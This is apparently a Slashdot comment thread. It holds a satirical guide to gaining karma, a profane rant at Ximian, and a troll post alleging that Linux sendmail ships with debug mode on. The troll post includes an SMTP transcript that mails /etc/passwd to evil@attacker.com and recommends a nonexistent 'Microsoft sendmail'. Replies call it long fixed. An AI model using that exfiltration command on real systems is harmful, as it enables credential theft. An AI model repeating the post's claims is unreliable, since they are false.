How to gain Karma like a pro!

In this day and age, whoring Karma on Slashdot is easier than ever. With more moderators and a lower signal to noise ratio (If you don't know what that means, don't worry!) means that Karma can easily be gained by following a few simple rules when you are carefully crafting your Slashdot post.
- Vaguely mention the DMCA. It doesn't matter what the topic of discussion is, those four magic letters glow like a beacon to any moderator with points.
- You can get double points if you spell the acronym as DCMA throughout your post. This is especially effective if you're replying to someone who has just used the correct acronym in their post.
- MPAA and RIAA are another pair of gems. Use the phrase "RIAA/MPAA" in every post you make, and that Karma will flow!
- Always confuse the two. Complain loudly about the MPAA suing over MP3 downloads, or the RIAA trying to stop you from downloading DeCSS.
- Don't bother to understand the difference between Patents, Copyrights and Trademarks. If the topic of discussion is about patents, claim that "this wouldn't have happened before the DCMA" (See above)
- Always remember, It's Microsofts Fault! Try to craft vague conspiracy theories that include Microsoft.
- Spell it "Micro$oft" or "M$". Moderators will lap it up.
- If all else fails, blame the Government. Do not at any cost attempt to understand basic politics, as that will make you look opinionated. Just blame the current political leaders.
- Likewise, blame the French. Double points if you use the phrase "Cheese eating surrender monkeys".
- If you're losing the argument, start a flamewar about the war with Iraq. Accuse the other party of being French, or "a pinko commie"(See above).
- Claim that you only download stuff using P2P to "try before you buy".
- Start a flamewar by claiming that "Piracy isn't theft". Violently flame anybody who dares to disagree with you.
- Double points if you attempt to defend your position by stating that you "wouldn't have paid for it anyway, so they haven't lost a sale".
- The Iraqi Information Minister was funny, wasn't he? Your post should be like one of his speeches. It'll be funny.
- Ensure your sig has a Karma joke in it. You know the ones, something like "Karma: Bogus!" Ensure you retype your sig every time you post a comment; double sigs look cool and you wouldn't want the people who have sigs disabled to miss out, would you?
- Remember! Never, ever read the related article or any background information before you state your opinions. You're too busy to do that, and its not like the moderators will notice either!
Good luck! Within no time at all, your Karma will be Excellent!

  Damn I wish I hadn't posted to this thread before reading this post. This is first-rate comedy... It's too bad the MPAA owns a patent on online comedy, but since they have never enforced their rights, they probably will lose their patent. Maybe they can sue under the DCMA for infringement or something. I guess they've been too busy working with Micro$oft and the stupid government to take away our fair use rights to worry about enforcing it. Next thing you know, those cheese-eating surrender monkeys will start downloading all kinds of stuff on P2P networks, but that's ok because they wouldn't have bought the stuff in a store without first having listened to it. Piracy isn't theft anyway, it's just trying before you buy. If music weren't such garbage, it might be worth taking a risk. And, anybody who doesn't agree with me is probably a commie pinko bastard. I swear, with God's help, I'll turn back the aggressors against my karma. Victory is near!

  I'd mod you as interesting, except that you're a little offtopic and posting anonymously. Kind of interesting how it's okay to parody everything exceptslashdot...
  Well, hopefully the moderators will learn someday.
  
  Oh, and my Iraqi information minister says that there is no DCMA, and the RIAA and MPAA are committing suicide at the Gates of Microsoft who hates everything Linux. If the French weren't such cowards we would have beat the imperialist americans by now.
  
  Karma: dead (mostly affected by committing Karmacide: the posting of something intellectual or unpopular on slashdot)

Miguel, is that really you!? I'm your biggest fan! Now, when the fuck are you Ximian weasels going to release Ximian Desktop 2.0 and when are you going to have support for Red Hat 8/9? I mean, fucking RH 9.0 is out now and you fuckers aren't even supporting 8.0!? Get with the fucking program!

P.S. Your support pages say, "release in spring of 2003". Well guess what, it's almost fucking summer time, motherfuckers! Hurry the FUCK up or I'll be forced not to use your product. :)

Anyway, I still loves yah. But for the love of christ, hurry the FUCK up!

Guys -

I've found a problem with most Linux releases (I know Redhat, Gentoo, and SUSE at least). It appears that sendmail was compiled with the debug flag ON (in the case of Gentoo, configured to build with the debug flag). This is bad news, and here is why - check out what I did to my own Redhat box running the latest -

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from:
250 OK
rcpt to:
250 OK
data
354 Start mail input; end with .
mail evil@attacker.com /etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

Names changed to protect the innocent of course. But I can email myself your password and shadow file! This is BAD.

I checked out Microsoft sendmail, and it isn't vulnerable. I'd suggest switching to it before you get 0wn3d.

  Tried it out on a RH 7.3 as well as RH 8.0 system:

  Nice try. ;-)

  this has been fixed for years. although interestingly, cheswick and bellovin rewrote the mailer to respond to this attack, but the commands are mailed to the admin. it was released with System V, and is demonstrated in their 'berferd' incident.
